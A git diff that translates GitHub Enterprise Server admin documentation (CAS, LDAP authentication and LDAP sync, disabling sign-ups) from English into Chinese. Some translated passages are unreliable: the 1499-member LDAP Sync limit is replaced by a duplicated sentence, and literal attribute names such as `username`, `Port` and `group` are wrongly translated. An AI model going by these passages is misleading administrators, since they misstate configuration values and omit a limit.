@@ -118,7 +115,7 @@ For example, you can enable any {% data variables.product.prodname_GH_advanced_s
     ghe-config app.github.dependency-graph-enabled false
     ghe-config app.github.vulnerability-alerting-and-settings-enabled false
     ```{% endif %}
-3. Apply the configuration.
+3. 应用配置。
     ```shell
     ghe-config-apply
     ```
diff --git a/translations/zh-CN/content/admin/advanced-security/index.md b/translations/zh-CN/content/admin/advanced-security/index.md
index 9bb979a9eb..aafdf7bafc 100644
--- a/translations/zh-CN/content/admin/advanced-security/index.md
+++ b/translations/zh-CN/content/admin/advanced-security/index.md
@@ -1,7 +1,7 @@
 ---
-title: Managing GitHub Advanced Security for your enterprise
-shortTitle: Managing GitHub Advanced Security
-intro: 'You can configure {% data variables.product.prodname_advanced_security %} and manage use by your enterprise to suit your organization''s needs.'
+title: 管理企业的 GitHub Advanced Security
+shortTitle: 管理 GitHub Advanced Security
+intro: '您可以配置 {% data variables.product.prodname_advanced_security %} 并管理企业的使用，以满足组织的需求。'
 product: '{% data reusables.gated-features.ghas %}'
 redirect_from:
   - /enterprise/admin/configuration/configuring-advanced-security-features
@@ -18,3 +18,4 @@ children:
   - /overview-of-github-advanced-security-deployment
   - /deploying-github-advanced-security-in-your-enterprise
 ---
+
diff --git a/translations/zh-CN/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/disabling-unauthenticated-sign-ups.md b/translations/zh-CN/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/disabling-unauthenticated-sign-ups.md
index 3711fe5ef6..41e0ab5664 100644
--- a/translations/zh-CN/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/disabling-unauthenticated-sign-ups.md
+++ b/translations/zh-CN/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/disabling-unauthenticated-sign-ups.md
@@ -1,11 +1,11 @@
 ---
-title: Disabling unauthenticated sign-ups
+title: 禁用未经身份验证的注册
 redirect_from:
   - /enterprise/admin/articles/disabling-sign-ups
   - /enterprise/admin/user-management/disabling-unauthenticated-sign-ups
   - /enterprise/admin/authentication/disabling-unauthenticated-sign-ups
   - /admin/authentication/disabling-unauthenticated-sign-ups
-intro: 'If you''re using built-in authentication, you can block unauthenticated people from being able to create an account.'
+intro: 如果您使用的是内置身份验证，可以阻止未经身份验证的人创建帐户。
 versions:
   ghes: '*'
 type: how_to
@@ -13,11 +13,11 @@ topics:
   - Accounts
   - Authentication
   - Enterprise
-shortTitle: Block account creation
+shortTitle: 阻止帐户创建
 ---
+
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_management_console.privacy %}
-3. Unselect **Enable sign-up**.
-![Enable sign-up checkbox](/assets/images/enterprise/management-console/enable-sign-up.png)
+3. 取消选中 **Enable sign-up**。 ![启用注册复选框](/assets/images/enterprise/management-console/enable-sign-up.png)
 {% data reusables.enterprise_management_console.save-settings %}
diff --git a/translations/zh-CN/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/index.md b/translations/zh-CN/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/index.md
index 5d51187af0..a5932f026f 100644
--- a/translations/zh-CN/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/index.md
+++ b/translations/zh-CN/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/index.md
@@ -1,6 +1,6 @@
 ---
-title: Authenticating users for your GitHub Enterprise Server instance
-intro: 'You can use {% data variables.product.prodname_ghe_server %}''s built-in authentication, or choose between CAS, LDAP, or SAML to integrate your existing accounts and centrally manage user access to {% data variables.product.product_location %}.'
+title: 为您的 GitHub Enterprise Server 实例验证用户身份
+intro: '您可以使用 {% data variables.product.prodname_ghe_server %} 的内置身份验证，或者在 CAS、LDAP 或 SAML 中选择来集成您的现有帐户并集中管理 {% data variables.product.product_location %} 的用户访问权限。'
 redirect_from:
   - /enterprise/admin/categories/authentication
   - /enterprise/admin/guides/installation/user-authentication
@@ -20,6 +20,6 @@ children:
   - /using-ldap
   - /allowing-built-in-authentication-for-users-outside-your-identity-provider
   - /changing-authentication-methods
-shortTitle: Authenticate users
+shortTitle: 验证用户
 ---
 
diff --git a/translations/zh-CN/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-cas.md b/translations/zh-CN/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-cas.md
index b1276f2de7..bfc63c81d7 100644
--- a/translations/zh-CN/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-cas.md
+++ b/translations/zh-CN/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-cas.md
@@ -1,12 +1,12 @@
 ---
-title: Using CAS
+title: 使用 CAS
 redirect_from:
   - /enterprise/admin/articles/configuring-cas-authentication
   - /enterprise/admin/articles/about-cas-authentication
   - /enterprise/admin/user-management/using-cas
   - /enterprise/admin/authentication/using-cas
   - /admin/authentication/using-cas
-intro: 'CAS is a single sign-on (SSO) protocol for multiple web applications. A CAS user account does not take up a {% ifversion ghes %}user license{% else %}seat{% endif %} until the user signs in.'
+intro: 'CAS 是一种适用于多种网络应用程序的单点登录 (SSO) 协议。 在登录之前，CAS 用户帐户不会占用{% ifversion ghes %}用户许可{% else %}席位{% endif %}。'
 versions:
   ghes: '*'
 type: how_to
@@ -17,9 +17,10 @@ topics:
   - Identity
   - SSO
 ---
+
 {% data reusables.enterprise_user_management.built-in-authentication %}
 
-## Username considerations with CAS
+## 使用 CAS 时的用户名考量因素
 
 {% data reusables.enterprise_management_console.username_normalization %}
 
@@ -28,25 +29,24 @@ topics:
 {% data reusables.enterprise_user_management.two_factor_auth_header %}
 {% data reusables.enterprise_user_management.external_auth_disables_2fa %}
 
-## CAS attributes
+## CAS 属性
 
-The following attributes are available.
+以下属性可用。
 
-| Attribute name           | Type     | Description |
-|--------------------------|----------|-------------|
-| `username`               | Required | The {% data variables.product.prodname_ghe_server %} username. |
+| 属性名称  | 类型 | 描述                                                      |
+| ----- | -- | ------------------------------------------------------- |
+| `用户名` | 必选 | {% data variables.product.prodname_ghe_server %} 用户名。 |
 
-## Configuring CAS
+## 配置 CAS
 {% warning %}
 
-**Warning:** Before configuring CAS on {% data variables.product.product_location %}, note that users will not be able to use their CAS usernames and passwords to authenticate API requests or Git operations over HTTP/HTTPS. Instead, they will need to [create an access token](/enterprise/{{ currentVersion }}/user/articles/creating-an-access-token-for-command-line-use).
+**警告**：请注意，在 {% data variables.product.product_location %} 上配置 CAS 之前，用户将无法使用他们的 CAS 用户名和密码通过 HTTP/HTTPS 对 API 请求或 Git 操作进行身份验证。 相反，他们将需要[创建访问令牌](/enterprise/{{ currentVersion }}/user/articles/creating-an-access-token-for-command-line-use)。
 
 {% endwarning %}
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_management_console.authentication %}
-3. Select **CAS**.
-![CAS select](/assets/images/enterprise/management-console/cas-select.png)
-4. {% data reusables.enterprise_user_management.built-in-authentication-option %} ![Select CAS built-in authentication checkbox](/assets/images/enterprise/management-console/cas-built-in-authentication.png)
-5. In the **Server URL** field, type the full URL of your CAS server. If your CAS server uses a certificate that can't be validated by {% data variables.product.prodname_ghe_server %}, you can use the `ghe-ssl-ca-certificate-install` command to install it as a trusted certificate.
+3. 选择 **CAS**。 ![选择 CAS](/assets/images/enterprise/management-console/cas-select.png)
+4. {% data reusables.enterprise_user_management.built-in-authentication-option %} ![选中 CAS 内置身份验证复选框](/assets/images/enterprise/management-console/cas-built-in-authentication.png)
+5. 在 **Server URL** 字段中，输入您的 CAS 服务器的完整 URL。 如果您的 CAS 服务器使用无法由 {% data variables.product.prodname_ghe_server %} 验证的证书，您可以使用 `ghe-ssl-ca-certificate-install` 命令将其作为可信证书安装。
diff --git a/translations/zh-CN/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-ldap.md b/translations/zh-CN/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-ldap.md
index 77d922b9e8..57dedfd8b1 100644
--- a/translations/zh-CN/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-ldap.md
+++ b/translations/zh-CN/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-ldap.md
@@ -1,5 +1,5 @@
 ---
-title: Using LDAP
+title: 使用 LDAP
 redirect_from:
   - /enterprise/admin/articles/configuring-ldap-authentication
   - /enterprise/admin/articles/about-ldap-authentication
@@ -9,7 +9,7 @@ redirect_from:
   - /enterprise/admin/user-management/using-ldap
   - /enterprise/admin/authentication/using-ldap
   - /admin/authentication/using-ldap
-intro: 'LDAP lets you authenticate {% data variables.product.prodname_ghe_server %} against your existing accounts and centrally manage repository access. LDAP is a popular application protocol for accessing and maintaining directory information services, and is one of the most common protocols used to integrate third-party software with large company user directories.'
+intro: '使用 LDAP，您可以向 {% data variables.product.prodname_ghe_server %} 验证现有帐户的身份和集中管理仓库权限。 LDAP 是一种用于访问和维护目录信息服务的流行应用程序协议，是将第三方软件与大型公司用户目录相集成时使用的最常见协议之一。'
 versions:
   ghes: '*'
 type: how_to
@@ -19,11 +19,12 @@ topics:
   - Enterprise
   - Identity
 ---
+
 {% data reusables.enterprise_user_management.built-in-authentication %}
 
-## Supported LDAP services
+## 支持的 LDAP 服务
 
-{% data variables.product.prodname_ghe_server %} integrates with these LDAP services:
+{% data variables.product.prodname_ghe_server %} 可与下列 LDAP 服务集成：
 
 * Active Directory
 * FreeIPA
@@ -32,7 +33,7 @@ topics:
 * Open Directory
 * 389-ds
 
-## Username considerations with LDAP
+## 使用 LDAP 时的用户名考量因素
 
 {% data reusables.enterprise_management_console.username_normalization %}
 
@@ -41,153 +42,150 @@ topics:
 {% data reusables.enterprise_user_management.two_factor_auth_header %}
 {% data reusables.enterprise_user_management.2fa_is_available %}
 
-## Configuring LDAP with {% data variables.product.product_location %}
+## 在 {% data variables.product.product_location %} 上配置 LDAP
 
-After you configure LDAP, users will be able to sign into your instance with their LDAP credentials. When users sign in for the first time, their profile names, email addresses, and SSH keys will be set with the LDAP attributes from your directory.
+在您配置 LDAP 后，用户将能够使用他们的 LDAP 凭据登录您的实例。 在用户首次登录时，他们个人资料中的姓名、电子邮件地址和 SSH 密钥将使用您的目录中的 LDAP 属性进行设置。
 
-When you configure LDAP access for users via the {% data variables.enterprise.management_console %}, your user licenses aren't used until the first time a user signs in to your instance. However, if you create an account manually using site admin settings, the user license is immediately accounted for.
+当您通过 {% data variables.enterprise.management_console %} 为用户配置 LDAP 访问权限时，在用户首次登录您的实例前，用户许可不可用。 但是，如果您使用站点管理员设置手动创建帐户，用户许可将立即可用。
 
 {% warning %}
 
-**Warning:** Before configuring LDAP on {% data variables.product.product_location %}, make sure that your LDAP service supports paged results.
+**警告**：在 {% data variables.product.product_location %} 上配置 LDAP 之前，请确保您的 LDAP 服务支持分页结果。
 
 {% endwarning %}
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_management_console.authentication %}
-3. Under "Authentication", select **LDAP**.
-![LDAP select](/assets/images/enterprise/management-console/ldap-select.png)
-4. {% data reusables.enterprise_user_management.built-in-authentication-option %} ![Select LDAP built-in authentication checkbox](/assets/images/enterprise/management-console/ldap-built-in-authentication.png)
-5. Add your configuration settings.
+3. 在“Authentication”下，选择 **LDAP**。 ![选择 LDAP](/assets/images/enterprise/management-console/ldap-select.png)
+4. {% data reusables.enterprise_user_management.built-in-authentication-option %} ![选中 LDAP 内置身份验证复选框](/assets/images/enterprise/management-console/ldap-built-in-authentication.png)
+5. 添加您的配置设置。
 
-## LDAP attributes
-Use these attributes to finish configuring LDAP for {% data variables.product.product_location %}.
+## LDAP 属性
+使用以下属性完成 {% data variables.product.product_location %} 的 LDAP 配置。
 
-| Attribute name           | Type     | Description |
-|--------------------------|----------|-------------|
-| `Host`                   | Required | The LDAP host, e.g. `ldap.example.com` or `10.0.0.30`. If the hostname is only available from your internal network, you may need to configure {% data variables.product.product_location %}'s DNS first so it can resolve the hostname using your internal nameservers. |
-| `Port`                   | Required | The port the host's LDAP services are listening on. Examples include: 389 and 636 (for LDAPS). |
-| `Encryption`             | Required | The encryption method used to secure communications to the LDAP server. Examples include plain (no encryption), SSL/LDAPS (encrypted from the start), and StartTLS (upgrade to encrypted communication once connected). |
-| `Domain search user`     | Optional | The LDAP user that looks up other users that sign in, to allow authentication. This is typically a service account created specifically for third-party integrations. Use a fully qualified name, such as `cn=Administrator,cn=Users,dc=Example,dc=com`. With Active Directory, you can also use the `[DOMAIN]\[USERNAME]` syntax (e.g. `WINDOWS\Administrator`) for the domain search user with Active Directory. |
-| `Domain search password` | Optional | The password for the domain search user. |
-| `Administrators group`   | Optional | Users in this group are promoted to site administrators when signing into your appliance. If you don't configure an LDAP Administrators group, the first LDAP user account that signs into your appliance will be automatically promoted to a site administrator. |
-| `Domain base`            | Required | The fully qualified `Distinguished Name` (DN) of an LDAP subtree you want to search for users and groups. You can add as many as you like; however, each group must be defined in the same domain base as the users that belong to it. If you specify restricted user groups, only users that belong to those groups will be in scope. We recommend that you specify the top level of your LDAP directory tree as your domain base and use restricted user groups to control access. |
-| `Restricted user groups` | Optional | If specified, only users in these groups will be allowed to log in. You only need to specify the common names (CNs) of the groups, and you can add as many groups as you like. If no groups are specified, *all* users within the scope of the specified domain base will be able to sign in to your {% data variables.product.prodname_ghe_server %} instance. |
-| `User ID`                | Required | The LDAP attribute that identifies the LDAP user who attempts authentication. Once a mapping is established, users may change their {% data variables.product.prodname_ghe_server %} usernames. This field should be `sAMAccountName` for most Active Directory installations, but it may be `uid` for other LDAP solutions, such as OpenLDAP. The default value is `uid`. |
-| `Profile name`           | Optional | The name that will appear on the user's {% data variables.product.prodname_ghe_server %} profile page. Unless LDAP Sync is enabled, users may change their profile names. |
-| `Emails`                 | Optional | The email addresses for a user's {% data variables.product.prodname_ghe_server %} account. |
-| `SSH keys`               | Optional | The public SSH keys attached to a user's {% data variables.product.prodname_ghe_server %} account. The keys must be in OpenSSH format. |
-| `GPG keys`               | Optional | The GPG keys attached to a user's {% data variables.product.prodname_ghe_server %} account. |
-| `Disable LDAP authentication for Git operations` | Optional |If selected, [turns off](#disabling-password-authentication-for-git-operations) users' ability to use LDAP passwords to authenticate Git operations. |
-| `Enable LDAP certificate verification` | Optional |If selected, [turns on](#enabling-ldap-certificate-verification) LDAP certificate verification. |
-| `Synchronization` | Optional |If selected, [turns on](#enabling-ldap-sync) LDAP Sync. |
+| 属性名称                                             | 类型 | 描述                                                                                                                                                                                                          |
+| ------------------------------------------------ | -- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `Host`                                           | 必选 | LDAP 主机，例如 `ldap.example.com` 或 `10.0.0.30`。 如果主机名只能在您的内部网络中使用，您需要先配置 {% data variables.product.product_location %} 的 DNS，以便它可以使用您的内部域名服务器解析主机名。                                                            |
+| `端口`                                             | 必选 | 主机的 LDAP 服务侦听的端口。 示例包括：389 和 636（适用于 LDAPS）。                                                                                                                                                                |
+| `Encryption`                                     | 必选 | 用于确保与 LDAP 服务器之间的通信安全的加密方法。 示例包括明文（无加密）、SSL/LDAPS（从一开始就加密）和 StartTLS（在连接后升级为加密通信）。                                                                                                                          |
+| `Domain search user`                             | 可选 | 查找其他登录用户的 LDAP 用户，以允许身份验证。 这一般是一个专为第三方集成创建的服务帐户。 使用完全限定名称，例如 `cn=Administrator,cn=Users,dc=Example,dc=com`。 对于 Active Directory，您还可为域搜索用户使用 `[DOMAIN]\[USERNAME]` 语法（例如 `WINDOWS\Administrator`）。         |
+| `Domain search password`                         | 可选 | 域搜索用户的密码。                                                                                                                                                                                                   |
+| `Administrators group`                           | 可选 | 登录您的设备后，此组中的用户将被升级为站点管理员。 如果您不配置 LDAP 管理员组，则登录您的设备的第一个 LDAP 用户帐户将被自动升级为站点管理员。                                                                                                                               |
+| `Domain base`                                    | 必选 | 您想要搜索用户和组的 LDAP 子树的完全限定 `Distinguished Name` (DN)。 您可以添加任意数量的组；不过，每个组和它所包含的用户都必须在相同的基础域中定义。 如果您指定受限的用户组，那么只有属于这些组的用户将在作用域内。 我们建议您将 LDAP 目录树的顶级指定为您的基础域，并使用受限的用户组来控制权限。                                      |
+| `Restricted user groups`                         | 可选 | 如果指定，将仅允许这些组中的用户登录。 您只需要指定组的常用名 (CN)，您可以添加任意数量的组。 如果未指定组，则指定基础域作用域中的*所有*用户都将可以登录您的 {% data variables.product.prodname_ghe_server %} 实例。                                                                   |
+| `User ID`                                        | 必选 | 标识尝试身份验证的 LDAP 用户的 LDAP 属性。 建立映射后，用户可以更改他们的 {% data variables.product.prodname_ghe_server %} 用户名。 对于大多数 Active Directory 安装来说，此字段应为 `sAMAccountName`，但对其他 LDAP 解决方案（例如 OpenLDAP）来说，可能是 `uid`。 默认值为 `uid`。 |
+| `Profile name`                                   | 可选 | 将在用户的 {% data variables.product.prodname_ghe_server %} 个人资料页面上显示的姓名。 除非启用 LDAP 同步，否则用户可以更改他们的个人资料姓名。                                                                                                      |
+| `Emails`                                         | 可选 | 用户的 {% data variables.product.prodname_ghe_server %} 帐户的电子邮件地址。                                                                                                                                           |
+| `SSH keys`                                       | 可选 | 连接到用户的 {% data variables.product.prodname_ghe_server %} 帐户的 SSH 公钥。 密钥必须采用 OpenSSH 格式。                                                                                                                    |
+| `GPG keys`                                       | 可选 | 连接到用户的 {% data variables.product.prodname_ghe_server %} 帐户的 GPG 密钥。                                                                                                                                       |
+| `Disable LDAP authentication for Git operations` | 可选 | 如果选择，将[禁止](#disabling-password-authentication-for-git-operations)用户使用 LDAP 密码对 Git 操作进行身份验证。                                                                                                                |
+| `Enable LDAP certificate verification`           | 可选 | 如果选择，将[启用](#enabling-ldap-certificate-verification) LDAP 证书验证。                                                                                                                                              |
+| `Synchronization`                                | 可选 | 如果选择，将[启用](#enabling-ldap-sync) LDAP 同步。                                                                                                                                                                    |
 
-### Disabling password authentication for Git operations
+### 为 Git 操作禁用密码身份验证
 
-Select **Disable username and password authentication for Git operations** in your LDAP settings to enforce use of personal access tokens or SSH keys for Git access, which can help prevent your server from being overloaded by LDAP authentication requests. We recommend this setting because a slow-responding LDAP server, especially combined with a large number of requests due to polling, is a frequent source of performance issues and outages.
+在您的 LDAP 设置中选择 **Disable username and password authentication for Git operations**，为 Git 权限强制使用个人访问令牌或 SSH 密钥，这样有助于防止您的服务器被 LDAP 身份验证请求过载。 我们建议使用此设置，因为响应慢的 LDAP 服务器是性能问题和故障的常见来源，尤其是在遇到轮询导致的大量请求时。
 
-![Disable LDAP password auth for Git check box](/assets/images/enterprise/management-console/ldap-disable-password-auth-for-git.png)
+![为 Git 禁用 LDAP 密码身份验证的复选框](/assets/images/enterprise/management-console/ldap-disable-password-auth-for-git.png)
 
-When this option is selected, if a user tries to use a password for Git operations via the command line, they will receive an error message that says, `Password authentication is not allowed for Git operations. You must use a personal access token.`
+选择此选项时，如果用户通过命令行尝试为 Git 操作使用密码，他们将收到一条错误消息，内容为 `Password authentication is not allowed for Git operations. You must use a personal access token.`
 
-### Enabling LDAP certificate verification
+### 启用 LDAP 证书验证
 
-Select **Enable LDAP certificate verification** in your LDAP settings to validate the LDAP server certificate you use with TLS.
+在您的 LDAP 设置中选择 **Enable LDAP certificate verification**，验证您用于 TLS 的 LDAP 服务器证书。
 
-![LDAP certificate verification box](/assets/images/enterprise/management-console/ldap-enable-certificate-verification.png)
+![LDAP 证书验证复选框](/assets/images/enterprise/management-console/ldap-enable-certificate-verification.png)
 
-When this option is selected, the certificate is validated to make sure:
-- If the certificate contains at least one Subject Alternative Name (SAN), one of the SANs matches the LDAP hostname. Otherwise, the Common Name (CN) matches the LDAP hostname.
-- The certificate is not expired.
-- The certificate is signed by a trusted certificate authority (CA).
+选择此选项时，将对证书进行验证，以确保：
+- 如果证书至少包含一个使用者可选名称 (SAN)，则其中的一个 SAN 将匹配 LDAP 主机名。 否则，常用名 (CN) 将匹配 LDAP 主机名。
+- 证书不会过期。
+- 证书由受信任的证书颁发机构 (CA) 签名。
 
-### Enabling LDAP Sync
+### 启用 LDAP 同步
 
 {% note %}
 
-**Note:** Teams using LDAP Sync are limited to a maximum 1499 members.
+要启用 LDAP 同步，请在您的 LDAP 设置中选择 **Synchronize Emails（同步电子邮件）**、**Synchronize SSH Keys（同步 SSH 密钥）**或 **Synchronize GPG Keys（同步 GPG 密钥）**。
 
 {% endnote %}
 
-LDAP Sync lets you synchronize {% data variables.product.prodname_ghe_server %} users and team membership against your established LDAP groups. This lets you establish role-based access control for users from your LDAP server instead of manually within {% data variables.product.prodname_ghe_server %}. For more information, see "[Creating teams](/enterprise/{{ currentVersion }}/admin/guides/user-management/creating-teams#creating-teams-with-ldap-sync-enabled)."
+借助 LDAP 同步，您可以将 {% data variables.product.prodname_ghe_server %} 用户和团队成员关系与建立的 LDAP 组同步。 这样，您可以在 LDAP 服务器中为用户建立基于角色的权限控制，而不用在 {% data variables.product.prodname_ghe_server %} 中手动建立。 更多信息请参阅“[创建团队](/enterprise/{{ currentVersion }}/admin/guides/user-management/creating-teams#creating-teams-with-ldap-sync-enabled)”。
 
-To enable LDAP Sync, in your LDAP settings, select **Synchronize Emails**, **Synchronize SSH Keys**, or **Synchronize GPG Keys** .
+要启用 LDAP 同步，请在您的 LDAP 设置中选择 **Synchronize Emails（同步电子邮件）**、**Synchronize SSH Keys（同步 SSH 密钥）**或 **Synchronize GPG Keys（同步 GPG 密钥）**。
 
-![Synchronization check box](/assets/images/enterprise/management-console/ldap-synchronize.png)
+![Synchronization 复选框](/assets/images/enterprise/management-console/ldap-synchronize.png)
 
-After you enable LDAP sync, a synchronization job will run at the specified time interval to perform the following operations on each user account:
+启用 LDAP 同步后，某个同步作业将以指定的时间间隔运行，在每个用户帐户上执行以下操作：
 
-- If you've allowed built-in authentication for users outside your identity provider, and the user is using built-in authentication, move on to the next user.
-- If no LDAP mapping exists for the user, try to map the user to an LDAP entry in the directory. If the user cannot be mapped to an LDAP entry, suspend the user and move on to the next user.
-- If there is an LDAP mapping and the corresponding LDAP entry in the directory is missing, suspend the user and move on to the next user.
-- If the corresponding LDAP entry has been marked as disabled and the user is not already suspended, suspend the user and move on to the next user.
-- If the corresponding LDAP entry is not marked as disabled, and the user is suspended, and _Reactivate suspended users_ is enabled in the Admin Center, unsuspend the user.
-- If the corresponding LDAP entry includes a `name` attribute, update the user's profile name.
-- If the corresponding LDAP entry is in the Administrators group, promote the user to site administrator.
-- If the corresponding LDAP entry is not in the Administrators group, demote the user to a normal account.
-- If an LDAP User field is defined for emails, synchronize the user's email settings with the LDAP entry. Set the first LDAP `mail` entry as the primary email.
-- If an LDAP User field is defined for SSH public keys, synchronize the user's public SSH keys with the LDAP entry.  
-- If an LDAP User field is defined for GPG keys, synchronize the user's GPG keys with the LDAP entry.  
+- 如果您已允许对您的身份提供程序覆盖范围以外的用户进行内置身份验证，并且该用户使用内置身份验证，请前进到下一个用户。
+- 如果用户没有 LDAP 映射，请尝试将用户映射到目录中的 LDAP 条目。 如果用户无法映射到 LDAP 条目，请挂起该用户并前进到下一个用户。
+- 如果存在 LDAP 映射但目录中相应的 LDAP 条目缺失，请挂起该用户并前进到下一个用户。
+- 如果相应的 LDAP 条目已被标记为禁用并且该用户尚未被挂起，请挂起该用户并前进到下一个用户。
+- 如果相应的 LDAP 条目未被标记为禁用，用户已被挂起，并且已在 Admin Center 中启用 _Reactivate suspended users_，请取消挂起该用户。
+- 如果相应的 LDAP 条目包括 `name` 属性，请更新用户的个人资料姓名。
+- 如果相应的 LDAP 条目位于管理员组中，请将该用户升级为站点管理员。
+- 如果相应的 LDAP 条目不位于管理员组中，请将该用户降级为普通帐户。
+- 如果为电子邮件定义了一个 LDAP 用户字段，请将该用户的电子邮件设置与 LDAP 条目同步。 将第一个 LDAP `mail` 条目设为主电子邮件。
+- 如果为 SSH 公钥定义了一个 LDAP 用户字段，请将该用户的 SSH 公钥与 LDAP 条目同步。
+- 如果为 GPG 密钥定义了一个 LDAP 用户字段，请将该用户的 GPG 密钥与 LDAP 条目同步。
 
 {% note %}
 
-**Note**: LDAP entries can only be marked as disabled if you use Active Directory and the `userAccountControl` attribute is present and flagged with `ACCOUNTDISABLE`. Some variations of Active Directory, such as AD LDS and ADAM, don't support the `userAccountControl` attribute.
+**注**：只有您使用 Active Directory，`userAccountControl` 属性显示并使用 `ACCOUNTDISABLE` 标记时，才可以将 LDAP 条目标记为禁用。 Some variations of Active Directory, such as AD LDS and ADAM, don't support the `userAccountControl` attribute.
 
 {% endnote %}
 
-A synchronization job will also run at the specified time interval to perform the following operations on each team that has been mapped to an LDAP group:
+某个同步作业也将以指定的时间间隔运行，在已经映射到 LDAP 组的每个团队上执行以下操作：
 
-- If a team's corresponding LDAP group has been removed, remove all members from the team.
-- If LDAP member entries have been removed from the LDAP group, remove the corresponding users from the team. If the user is no longer a member of any team in the organization, remove the user from the organization. If the user loses access to any repositories as a result, delete any private forks the user has of those repositories.
-- If LDAP member entries have been added to the LDAP group, add the corresponding users to the team. If the user regains access to any repositories as a result, restore any private forks of the repositories that were deleted because the user lost access in the past 90 days.
+- 如果已移除团队的相应 LDAP 组，请移除团队中的所有成员。
+- 如果已从 LDAP 组中移除 LDAP 成员条目，请从团队中移除相应的用户。 If the user is no longer a member of any team in the organization, remove the user from the organization. 如果用户因此失去了任何仓库的访问权限，请删除用户在这些仓库中的任何私有分叉。
+- 如果已向 LDAP 组中添加 LDAP 成员条目，请将相应的用户添加到团队中。 如果用户因此重新获得了任何仓库的访问权限，请恢复过去 90 天内因为用户失去访问权限而被删除的仓库中的任何私有分叉。
 
 {% data reusables.enterprise_user_management.ldap-sync-nested-teams %}
 
 {% warning %}
 
-**Security Warning:**
+**安全警告：**
 
-When LDAP Sync is enabled, site admins and organization owners can search the LDAP directory for groups to map the team to.
+启用 LDAP 同步后，站点管理员和组织所有者可以搜索要映射团队的目标组的 LDAP 目录。
 
-This has the potential to disclose sensitive organizational information to contractors or other unprivileged users, including:
+这样有可能将敏感的组织信息披露给合同工或其他没有权限的用户，包括：
 
-- The existence of specific LDAP Groups visible to the *Domain search user*.
-- Members of the LDAP group who have {% data variables.product.prodname_ghe_server %} user accounts, which is disclosed when creating a team synced with that LDAP group.
+- 对*域搜索用户*可见的特定 LDAP 组的存在性。
+- 具有 {% data variables.product.prodname_ghe_server %} 用户帐户的 LDAP 组的成员，如果创建与该 LDAP 组同步的团队，此信息将被披露。
 
-If disclosing such information is not desired, your company or organization should restrict the permissions of the configured *Domain search user* in the admin console. If such restriction isn't possible, contact {% data variables.contact.contact_ent_support %}.
+如果不需要披露此类信息，您的公司或组织应在管理员控制台中限制配置的*域搜索用户*的权限。 如果无法进行此类限制，请联系 {% data variables.contact.contact_ent_support %}。
 
 {% endwarning %}
 
-### Supported LDAP group object classes
+### 支持的 LDAP 组对象类
 
-{% data variables.product.prodname_ghe_server %} supports these LDAP group object classes. Groups can be nested.
+{% data variables.product.prodname_ghe_server %} 支持下列 LDAP 组对象类。 可以嵌套组。
 
-- `group`
+- `组`
 - `groupOfNames`
 - `groupOfUniqueNames`
 - `posixGroup`
 
-## Viewing and creating LDAP users
+## 查看和创建 LDAP 用户
 
-You can view the full list of LDAP users who have access to your instance and provision new users.
+您可以查看具有您的实例访问权限的 LDAP 用户的完整列表和配置新用户。
 
 {% data reusables.enterprise_site_admin_settings.sign-in %}
 {% data reusables.enterprise_site_admin_settings.access-settings %}
-3. In the left sidebar, click **LDAP users**.
-![LDAP users tab](/assets/images/enterprise/site-admin-settings/ldap-users-tab.png)
-4. To search for a user, type a full or partial username and click **Search**. Existing users will be displayed in search results. If a user doesn’t exist, click **Create** to provision the new user account.
-![LDAP search](/assets/images/enterprise/site-admin-settings/ldap-users-search.png)
+3. 在左侧边栏中，单击 **LDAP users**。 ![LDAP users 选项卡](/assets/images/enterprise/site-admin-settings/ldap-users-tab.png)
+4. 要搜索用户，请输入完整或部分用户名，然后单击 **Search**。 现有用户将显示在搜索结果中。 如果用户不存在，请单击 **Create** 以配置新用户帐户。 ![LDAP 搜索](/assets/images/enterprise/site-admin-settings/ldap-users-search.png)
 
-## Updating LDAP accounts
+## 更新 LDAP 帐户
 
-Unless [LDAP Sync is enabled](#enabling-ldap-sync), changes to LDAP accounts are not automatically synchronized with {% data variables.product.prodname_ghe_server %}.
+除非[启用 LDAP 同步](#enabling-ldap-sync)，否则 LDAP 帐户的变更将不会自动与 {% data variables.product.prodname_ghe_server %} 同步。
 
-* To use a new LDAP admin group, users must be manually promoted and demoted on {% data variables.product.prodname_ghe_server %} to reflect changes in LDAP.
-* To add or remove LDAP accounts in LDAP admin groups, [promote or demote the accounts on {% data variables.product.prodname_ghe_server %}](/enterprise/{{ currentVersion }}/admin/guides/user-management/promoting-or-demoting-a-site-administrator).
-* To remove LDAP accounts, [suspend the {% data variables.product.prodname_ghe_server %} accounts](/enterprise/{{ currentVersion }}/admin/guides/user-management/suspending-and-unsuspending-users).
+* 要使用新的 LDAP 管理员组，必须在 {% data variables.product.prodname_ghe_server %} 上手动升级和降级用户，以反映 LDAP 中的变更。
+* 要在 LDAP 管理员组中添加或移除 LDAP 帐户，请[在 {% data variables.product.prodname_ghe_server %} 上升级或降级帐户](/enterprise/{{ currentVersion }}/admin/guides/user-management/promoting-or-demoting-a-site-administrator)。
+* 要移除 LDAP 帐户，请[挂起 {% data variables.product.prodname_ghe_server %} 帐户](/enterprise/{{ currentVersion }}/admin/guides/user-management/suspending-and-unsuspending-users)。
 
-### Manually syncing LDAP accounts
+### 手动同步 LDAP 帐户
 
 {% data reusables.enterprise_site_admin_settings.sign-in %}
